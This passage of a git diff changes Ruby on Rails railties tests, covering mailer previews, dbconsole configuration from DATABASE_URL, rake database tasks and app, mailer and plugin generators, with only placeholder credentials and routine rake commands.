+ add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ end
+
+ test "mailer previews are reloaded across requests" do
+ app('development')
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ remove_file 'test/mailers/previews/notifier_preview.rb'
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ end
+
+ test "mailer preview actions are added and removed" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+
+ def bar
+ mail to: "to@example.net"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ text_template 'notifier/bar', <<-RUBY
+ Goodbye, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+
+ def bar
+ Notifier.bar
+ end
+ end
+ RUBY
+
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ remove_file 'app/views/notifier/bar.text.erb'
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+ end
+
+ test "mailer previews are reloaded from a custom preview_path" do
+ add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ remove_file 'lib/mailer_previews/notifier_preview.rb'
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ end
+
+ test "mailer preview not found" do
+ app('development')
+ get "/rails/mailers/notifier"
+ assert last_response.not_found?
+ assert_match "Mailer preview &#39;notifier&#39; not found", last_response.body
+ end
+
+ test "mailer preview email not found" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/bar"
+ assert last_response.not_found?
+ assert_match "Email &#39;bar&#39; not found in NotifierPreview", last_response.body
+ end
+
+ test "mailer preview email part not found" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/foo?part=text%2Fhtml"
+ assert last_response.not_found?
+ assert_match "Email part &#39;text/html&#39; not found in NotifierPreview#foo", last_response.body
+ end
+
+ test "message header uses full display names" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "Ruby on Rails <core@rubyonrails.org>"
+
+ def foo
+ mail to: "Andrew White <andyw@pixeltrix.co.uk>",
+ cc: "David Heinemeier Hansson <david@heinemeierhansson.com>"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/foo"
+ assert_equal 200, last_response.status
+ assert_match "Ruby on Rails &lt;core@rubyonrails.org&gt;", last_response.body
+ assert_match "Andrew White &lt;andyw@pixeltrix.co.uk&gt;", last_response.body
+ assert_match "David Heinemeier Hansson &lt;david@heinemeierhansson.com&gt;", last_response.body
+ end
+
+ test "part menu selects correct option" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ html_template 'notifier/foo', <<-RUBY
+ <p>Hello, World!</p>
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/foo.html"
+ assert_equal 200, last_response.status
+ assert_match '<option selected value="?part=text%2Fhtml">View as HTML email</option>', last_response.body
+
+ get "/rails/mailers/notifier/foo.txt"
+ assert_equal 200, last_response.status
+ assert_match '<option selected value="?part=text%2Fplain">View as plain-text email</option>', last_response.body
+ end
+
+ private
+ def build_app
+ super
+ app_file "config/routes.rb", "Rails.application.routes.draw do; end"
+ end
+
+ def mailer(name, contents)
+ app_file("app/mailers/#{name}.rb", contents)
+ end
+
+ def mailer_preview(name, contents)
+ app_file("test/mailers/previews/#{name}_preview.rb", contents)
+ end
+
+ def html_template(name, contents)
+ app_file("app/views/#{name}.html.erb", contents)
+ end
+
+ def text_template(name, contents)
+ app_file("app/views/#{name}.text.erb", contents)
+ end
+ end
+end
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
index 14a56176f5..31a64c2f5a 100644
--- a/railties/test/application/middleware/session_test.rb
+++ b/railties/test/application/middleware/session_test.rb
@@ -318,7 +318,7 @@ module ApplicationTests
add_to_config <<-RUBY
config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
- config.secret_key_base = nil
+ secrets.secret_key_base = nil
RUBY
require "#{app_path}/config/environment"
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index 20d1d76d78..1557b90d27 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -61,7 +61,7 @@ module ApplicationTests
boot!
- assert_equal "Rack::Cache", middleware.first
+ assert middleware.include?("Rack::Cache")
end
test "ActiveRecord::Migration::CheckPending is present when active_record.migration_error is set to :page_load" do
diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb
index 4d348c6b4b..35d9c31c1e 100644
--- a/railties/test/application/rake/dbs_test.rb
+++ b/railties/test/application/rake/dbs_test.rb
@@ -1,4 +1,5 @@
require "isolation/abstract_unit"
+require "active_support/core_ext/string/strip"
module ApplicationTests
module RakeTests
@@ -16,11 +17,11 @@ module ApplicationTests
end
def database_url_db_name
- "db/database_url_db.sqlite3"
+ File.join(app_path, "db/database_url_db.sqlite3")
end
def set_database_url
- ENV['DATABASE_URL'] = "sqlite3://:@localhost/#{database_url_db_name}"
+ ENV['DATABASE_URL'] = File.join("sqlite3://:@localhost", database_url_db_name)
# ensure it's using the DATABASE_URL
FileUtils.rm_rf("#{app_path}/config/database.yml")
end
@@ -60,7 +61,7 @@ module ApplicationTests
`rails generate model book title:string;
bundle exec rake db:migrate`
output = `bundle exec rake db:migrate:status`
- assert_match(/database:\s+\S+#{expected[:database]}/, output)
+ assert_match(%r{database:\s+\S*#{Regexp.escape(expected[:database])}}, output)
assert_match(/up\s+\d{14}\s+Create books/, output)
end
end
@@ -126,7 +127,7 @@ module ApplicationTests
bundle exec rake db:migrate db:structure:dump`
structure_dump = File.read("db/structure.sql")
assert_match(/CREATE TABLE \"books\"/, structure_dump)
- `bundle exec rake db:drop db:structure:load`
+ `bundle exec rake environment db:drop db:structure:load`
assert_match(/#{expected[:database]}/,
ActiveRecord::Base.connection_config[:database])
require "#{app_path}/app/models/book"
@@ -153,7 +154,7 @@ module ApplicationTests
`rails generate model book title:string;
bundle exec rake db:migrate db:structure:dump db:test:load_structure`
ActiveRecord::Base.configurations = Rails.application.config.database_configuration
- ActiveRecord::Base.establish_connection 'test'
+ ActiveRecord::Base.establish_connection :test
require "#{app_path}/app/models/book"
#if structure is not loaded correctly, exception would be raised
assert Book.count, 0
@@ -166,6 +167,15 @@ module ApplicationTests
require "#{app_path}/config/environment"
db_test_load_structure
end
+
+ test 'db:test deprecation' do
+ require "#{app_path}/config/environment"
+ Dir.chdir(app_path) do
+ output = `bundle exec rake db:migrate db:test:prepare 2>&1`
+ assert_equal "WARNING: db:test:prepare is deprecated. The Rails test helper now maintains " \
+ "your test schema automatically, see the release notes for details.\n", output
+ end
+ end
end
end
end
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index 08316d80e6..317e73245c 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -187,7 +187,7 @@ module ApplicationTests
def test_scaffold_tests_pass_by_default
output = Dir.chdir(app_path) do
`rails generate scaffold user username:string password:string;
- bundle exec rake db:migrate db:test:clone test`
+ bundle exec rake db:migrate test`
end
assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
@@ -197,7 +197,7 @@ module ApplicationTests
def test_scaffold_with_references_columns_tests_pass_by_default
output = Dir.chdir(app_path) do
`rails generate scaffold LineItems product:references cart:belongs_to;
- bundle exec rake db:migrate db:test:clone test`
+ bundle exec rake db:migrate test`
end
assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
@@ -208,7 +208,8 @@ module ApplicationTests
add_to_config "config.active_record.schema_format = :sql"
output = Dir.chdir(app_path) do
`rails generate scaffold user username:string;
- bundle exec rake db:migrate db:test:clone 2>&1 --trace`
+ bundle exec rake db:migrate;
+ bundle exec rake db:test:clone 2>&1 --trace`
end
assert_match(/Execute db:test:clone_structure/, output)
end
@@ -217,7 +218,8 @@ module ApplicationTests
add_to_config "config.active_record.schema_format = :sql"
output = Dir.chdir(app_path) do
`rails generate scaffold user username:string;
- bundle exec rake db:migrate db:test:prepare 2>&1 --trace`
+ bundle exec rake db:migrate;
+ bundle exec rake db:test:prepare 2>&1 --trace`
end
assert_match(/Execute db:test:load_structure/, output)
end
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
index 6f2f328588..a223180169 100644
--- a/railties/test/application/test_test.rb
+++ b/railties/test/application/test_test.rb
@@ -67,10 +67,55 @@ module ApplicationTests
assert_match %r{/app/test/unit/failing_test\.rb}, output
end
+ test "migrations" do
+ output = script('generate model user name:string')
+ version = output.match(/(\d+)_create_users\.rb/)[1]
+
+ app_file 'test/models/user_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class UserTest < ActiveSupport::TestCase
+ test "user" do
+ User.create! name: "Jon"
+ end
+ end
+ RUBY
+ app_file 'db/schema.rb', ''
+
+ assert_unsuccessful_run "models/user_test.rb", "Migrations are pending"
+
+ app_file 'db/schema.rb', <<-RUBY
+ ActiveRecord::Schema.define(version: #{version}) do
+ create_table :users do |t|
+ t.string :name
+ end
+ end
+ RUBY
+
+ app_file 'config/initializers/disable_maintain_test_schema.rb', <<-RUBY
+ Rails.application.config.active_record.maintain_test_schema = false
+ RUBY
+
+ assert_unsuccessful_run "models/user_test.rb", "Could not find table 'users'"
+
+ File.delete "#{app_path}/config/initializers/disable_maintain_test_schema.rb"
+
+ result = assert_successful_test_run('models/user_test.rb')
+ assert !result.include?("create_table(:users)")
+ end
+
private
+ def assert_unsuccessful_run(name, message)
+ result = run_test_file(name)
+ assert_not_equal 0, $?.to_i
+ assert result.include?(message)
+ result
+ end
+
def assert_successful_test_run(name)
result = run_test_file(name)
assert_equal 0, $?.to_i, result
+ result
end
def run_test_file(name, options = {})
@@ -83,7 +128,7 @@ module ApplicationTests
env["RUBYLIB"] = $:.join(':')
Dir.chdir(app_path) do
- `#{env_string(env)} #{Gem.ruby} #{args.join(' ')}`
+ `#{env_string(env)} #{Gem.ruby} #{args.join(' ')} 2>&1`
end
end
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
index edb92b3aa2..24db395e6e 100644
--- a/railties/test/commands/dbconsole_test.rb
+++ b/railties/test/commands/dbconsole_test.rb
@@ -2,29 +2,74 @@ require 'abstract_unit'
require 'rails/commands/dbconsole'
class Rails::DBConsoleTest < ActiveSupport::TestCase
- def teardown
- %w[PGUSER PGHOST PGPORT PGPASSWORD].each{|key| ENV.delete(key)}
- end
- def test_config
- Rails::DBConsole.const_set(:APP_PATH, "erb")
-
- app_config({})
- capture_abort { Rails::DBConsole.new.config }
- assert aborted
- assert_match(/No database is configured for the environment '\w+'/, output)
- app_config(test: "with_init")
- assert_equal Rails::DBConsole.new.config, "with_init"
-
- app_db_file("test:\n without_init")
- assert_equal Rails::DBConsole.new.config, "without_init"
-
- app_db_file("test:\n <%= Rails.something_app_specific %>")
- assert_equal Rails::DBConsole.new.config, "with_init"
+ def setup
+ Rails::DBConsole.const_set('APP_PATH', 'rails/all')
+ end
- app_db_file("test:\n\ninvalid")
- assert_equal Rails::DBConsole.new.config, "with_init"
+ def teardown
+ Rails::DBConsole.send(:remove_const, 'APP_PATH')
+ %w[PGUSER PGHOST PGPORT PGPASSWORD DATABASE_URL].each{|key| ENV.delete(key)}
+ end
+
+ def test_config_with_db_config_only
+ config_sample = {
+ "test"=> {
+ "adapter"=> "sqlite3",
+ "host"=> "localhost",
+ "port"=> "9000",
+ "database"=> "foo_test",
+ "user"=> "foo",
+ "password"=> "bar",
+ "pool"=> "5",
+ "timeout"=> "3000"
+ }
+ }
+ app_db_config(config_sample)
+ assert_equal Rails::DBConsole.new.config, config_sample["test"]
+ end
+
+ def test_config_with_no_db_config
+ app_db_config(nil)
+ assert_raise(ActiveRecord::AdapterNotSpecified) {
+ Rails::DBConsole.new.config
+ }
+ end
+
+ def test_config_with_database_url_only
+ ENV['DATABASE_URL'] = 'postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000'
+ app_db_config(nil)
+ expected = {
+ "adapter" => "postgresql",
+ "host" => "localhost",
+ "port" => 9000,
+ "database" => "foo_test",
+ "username" => "foo",
+ "password" => "bar",
+ "pool" => "5",
+ "timeout" => "3000"
+ }.sort
+ assert_equal expected, Rails::DBConsole.new.config.sort
+ end
+
+ def test_config_choose_database_url_if_exists
+ host = "database-url-host.com"
+ ENV['DATABASE_URL'] = "postgresql://foo:bar@#{host}:9000/foo_test?pool=5&timeout=3000"
+ sample_config = {
+ "test" => {
+ "adapter" => "postgresql",
+ "host" => "not-the-#{host}",
+ "port" => 9000,
+ "database" => "foo_test",
+ "username" => "foo",
+ "password" => "bar",
+ "pool" => "5",
+ "timeout" => "3000"
+ }
+ }
+ app_db_config(sample_config)
+ assert_equal host, Rails::DBConsole.new.config["host"]
end
def test_env
@@ -177,6 +222,10 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
private
+ def app_db_config(results)
+ Rails.application.config.stubs(:database_configuration).returns(results || {})
+ end
+
def dbconsole
@dbconsole ||= Rails::DBConsole.new(nil)
end
@@ -197,11 +246,4 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
end
end
- def app_db_file(result)
- IO.stubs(:read).with("config/database.yml").returns(result)
- end
-
- def app_config(result)
- Rails.application.config.stubs(:database_configuration).returns(result.stringify_keys)
- end
end
diff --git a/railties/test/configuration/middleware_stack_proxy_test.rb b/railties/test/configuration/middleware_stack_proxy_test.rb
index 2442cb995d..6f3e45f320 100644
--- a/railties/test/configuration/middleware_stack_proxy_test.rb
+++ b/railties/test/configuration/middleware_stack_proxy_test.rb
@@ -39,7 +39,7 @@ module Rails
@stack.swap :foo
@stack.delete :foo
- mock = MiniTest::Mock.new
+ mock = Minitest::Mock.new
mock.expect :send, nil, [:swap, :foo]
mock.expect :send, nil, [:delete, :foo]
@@ -50,7 +50,7 @@ module Rails
private
def assert_playback(msg_name, args)
- mock = MiniTest::Mock.new
+ mock = Minitest::Mock.new
mock.expect :send, nil, [msg_name, args]
@stack.merge_into(mock)
mock.verify
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index f89ff66e3e..be109cc598 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -163,56 +163,71 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
end
- def test_add_gemfile_entry
- template = Tempfile.open 'my_template'
- template.puts 'gemfile_entry "tenderlove"'
- template.flush
+ def test_arbitrary_code
+ output = Tempfile.open('my_template') do |template|
+ template.puts 'puts "You are using Rails version #{Rails::VERSION::STRING}."'
+ template.close
+ run_generator([destination_root, "-m", template.path])
+ end
+ assert_match 'You are using', output
+ end
- run_generator([destination_root, "-m", template.path])
- assert_file "Gemfile", /tenderlove/
- ensure
- template.close
- template.unlink
+ def test_add_gemfile_entry
+ Tempfile.open('my_template') do |template|
+ template.puts 'gemfile_entry "tenderlove"'
+ template.flush
+ template.close
+ run_generator([destination_root, "-n", template.path])
+ assert_file "Gemfile", /tenderlove/
+ end
end
def test_add_skip_entry
- template = Tempfile.open 'my_template'
- template.puts 'add_gem_entry_filter { |gem| gem.name != "jbuilder" }'
- template.flush
+ Tempfile.open 'my_template' do |template|
+ template.puts 'add_gem_entry_filter { |gem| gem.name != "jbuilder" }'
+ template.close
- run_generator([destination_root, "-m", template.path])
- assert_file "Gemfile" do |contents|
- assert_no_match 'jbuilder', contents
+ run_generator([destination_root, "-n", template.path])
+ assert_file "Gemfile" do |contents|
+ assert_no_match 'jbuilder', contents
+ end
end
- ensure
- template.close
- template.unlink
end
- def test_skip_turbolinks_when_it_is_not_on_gemfile
- template = Tempfile.open 'my_template'
- template.puts 'add_gem_entry_filter { |gem| gem.name != "turbolinks" }'
- template.flush
+ def test_remove_gem
+ Tempfile.open 'my_template' do |template|
+ template.puts 'remove_gem "jbuilder"'
+ template.close
- run_generator([destination_root, "-m", template.path])
- assert_file "Gemfile" do |contents|
- assert_no_match 'turbolinks', contents
+ run_generator([destination_root, "-n", template.path])
+ assert_file "Gemfile" do |contents|
+ assert_no_match 'jbuilder', contents
+ end
end
+ end
- assert_file "app/views/layouts/application.html.erb" do |contents|
- assert_no_match 'turbolinks', contents
- end
+ def test_skip_turbolinks_when_it_is_not_on_gemfile
+ Tempfile.open 'my_template' do |template|
+ template.puts 'add_gem_entry_filter { |gem| gem.name != "turbolinks" }'
+ template.flush
- assert_file "app/views/layouts/application.html.erb" do |contents|
- assert_no_match('data-turbolinks-track', contents)
- end
+ run_generator([destination_root, "-n", template.path])
+ assert_file "Gemfile" do |contents|
+ assert_no_match 'turbolinks', contents
+ end
- assert_file "app/assets/javascripts/application.js" do |contents|
- assert_no_match 'turbolinks', contents
+ assert_file "app/views/layouts/application.html.erb" do |contents|
+ assert_no_match 'turbolinks', contents
+ end
+
+ assert_file "app/views/layouts/application.html.erb" do |contents|
+ assert_no_match('data-turbolinks-track', contents)
+ end
+
+ assert_file "app/assets/javascripts/application.js" do |contents|
+ assert_no_match 'turbolinks', contents
+ end
end
- ensure
- template.close
- template.unlink
end
def test_config_another_database
@@ -291,7 +306,6 @@ class AppGeneratorTest < Rails::Generators::TestCase
run_generator [destination_root, "--skip-sprockets"]
assert_file "config/application.rb" do |content|
assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
- assert_match(/config\.assets\.enabled = false/, content)
end
assert_file "Gemfile" do |content|
assert_no_match(/sass-rails/, content)
@@ -438,6 +452,34 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_file "foo bar/config/initializers/session_store.rb", /key: '_foo_bar/
end
+ def test_spring
+ run_generator
+ assert_file "Gemfile", /gem 'spring', \s+group: :development/
+ end
+
+ def test_spring_binstubs
+ generator.stubs(:bundle_command).with('install')
+ generator.expects(:bundle_command).with('exec spring binstub --all').once
+ quietly { generator.invoke_all }
+ end
+
+ def test_spring_no_fork
+ Process.stubs(:respond_to?).with(:fork).returns(false)
+ run_generator
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/spring/, content)
+ end
+ end
+
+ def test_skip_spring
+ run_generator [destination_root, "--skip-spring"]
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/spring/, content)
+ end
+ end
+
protected
def action(*args, &block)
diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb
index 32a3d072c9..77ec2f1c0c 100644
--- a/railties/test/generators/generators_test_helper.rb
+++ b/railties/test/generators/generators_test_helper.rb
@@ -1,10 +1,14 @@
require 'abstract_unit'
+require 'active_support/core_ext/module/remove_method'
require 'rails/generators'
require 'rails/generators/test_case'
module Rails
- def self.root
- @root ||= File.expand_path(File.join(File.dirname(__FILE__), '..', 'fixtures'))
+ class << self
+ remove_possible_method :root
+ def root
+ @root ||= File.expand_path(File.join(File.dirname(__FILE__), '..', 'fixtures'))
+ end
end
end
Rails.application.config.root = Rails.root
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
index 6b2351fc1a..d209801f60 100644
--- a/railties/test/generators/mailer_generator_test.rb
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -1,7 +1,6 @@
require 'generators/generators_test_helper'
require 'rails/generators/mailer/mailer_generator'
-
class MailerGeneratorTest < Rails::Generators::TestCase
include GeneratorsTestHelper
arguments %w(notifier foo bar)
@@ -23,8 +22,11 @@ class MailerGeneratorTest < Rails::Generators::TestCase
end
def test_check_class_collision
- content = capture(:stderr){ run_generator ["object"] }
- assert_match(/The name 'Object' is either already used in your application or reserved/, content)
+ Object.send :const_set, :Notifier, Class.new
+ content = capture(:stderr){ run_generator }
+ assert_match(/The name 'Notifier' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :Notifier
end
def test_invokes_default_test_framework
@@ -34,9 +36,37 @@ class MailerGeneratorTest < Rails::Generators::TestCase
assert_match(/test "foo"/, test)
assert_match(/test "bar"/, test)
end
+ assert_file "test/mailers/previews/notifier_preview.rb" do |preview|
+ assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/notifier/, preview)
+ assert_match(/class NotifierPreview < ActionMailer::Preview/, preview)
+ assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/foo/, preview)
+ assert_instance_method :foo, preview do |foo|
+ assert_match(/Notifier.foo/, foo)
+ end
+ assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/bar/, preview)
+ assert_instance_method :bar, preview do |bar|
+ assert_match(/Notifier.bar/, bar)
+ end
+ end
end
- def test_invokes_default_template_engine
+ def test_check_test_class_collision
+ Object.send :const_set, :NotifierTest, Class.new
+ content = capture(:stderr){ run_generator }
+ assert_match(/The name 'NotifierTest' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :NotifierTest
+ end
+
+ def test_check_preview_class_collision
+ Object.send :const_set, :NotifierPreview, Class.new
+ content = capture(:stderr){ run_generator }
+ assert_match(/The name 'NotifierPreview' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :NotifierPreview
+ end
+
+ def test_invokes_default_text_template_engine
run_generator
assert_file "app/views/notifier/foo.text.erb" do |view|
assert_match(%r(app/views/notifier/foo\.text\.erb), view)
@@ -49,6 +79,19 @@ class MailerGeneratorTest < Rails::Generators::TestCase
end
end
+ def test_invokes_default_html_template_engine
+ run_generator
+ assert_file "app/views/notifier/foo.html.erb" do |view|
+ assert_match(%r(app/views/notifier/foo\.html\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+
+ assert_file "app/views/notifier/bar.html.erb" do |view|
+ assert_match(%r(app/views/notifier/bar\.html\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+ end
+
def test_invokes_default_template_engine_even_with_no_action
run_generator ["notifier"]
assert_file "app/views/notifier"
@@ -65,7 +108,13 @@ class MailerGeneratorTest < Rails::Generators::TestCase
assert_match(/class Farm::Animal < ActionMailer::Base/, mailer)
assert_match(/en\.farm\.animal\.moos\.subject/, mailer)
end
+ assert_file "test/mailers/previews/farm/animal_preview.rb" do |preview|
+ assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal/, preview)
+ assert_match(/class Farm::AnimalPreview < ActionMailer::Preview/, preview)
+ assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal\/moos/, preview)
+ end
assert_file "app/views/farm/animal/moos.text.erb"
+ assert_file "app/views/farm/animal/moos.html.erb"
end
def test_actions_are_turned_into_methods
diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb
index c6b91e7cba..932cd75bcb 100644
--- a/railties/test/generators/plugin_generator_test.rb
+++ b/railties/test/generators/plugin_generator_test.rb
@@ -35,6 +35,12 @@ class PluginGeneratorTest < Rails::Generators::TestCase
content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "plugin")] }
+ assert_equal "Invalid plugin name plugin. Please give a name which does not match one of the reserved rails words.\n", content
+
+ content = capture(:stderr){ run_generator [File.join(destination_root, "Digest")] }
+ assert_equal "Invalid plugin name Digest, constant Digest is already in use. Please choose another plugin name.\n", content
end
def test_camelcase_plugin_name_underscores_filenames
@@ -58,6 +64,17 @@ class PluginGeneratorTest < Rails::Generators::TestCase
assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
end
+ def test_inclusion_of_debugger
+ run_generator [destination_root, '--full']
+ if defined?(JRUBY_VERSION)
+ assert_file "Gemfile" do |content|
+ assert_no_match(/debugger/, content)
+ end
+ else
+ assert_file "Gemfile", /# gem 'debugger'/
+ end
+ end
+
def test_generating_test_files_in_full_mode_without_unit_test_files
run_generator [destination_root, "-T", "--full"]
@@ -309,7 +326,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase
end
def test_creating_plugin_in_app_directory_adds_gemfile_entry
- # simulate application existance
+ # simulate application existence
gemfile_path = "#{Rails.root}/Gemfile"
Object.const_set('APP_PATH', Rails.root)
FileUtils.touch gemfile_path
@@ -323,7 +340,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase
end
def test_skipping_gemfile_entry
- # simulate application existance
+ # simulate application existence
gemfile_path = "#{Rails.root}/Gemfile"
Object.const_set('APP_PATH', Rails.root)
FileUtils.touch gemfile_path
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index 7184639d23..8e198d5fe1 100644
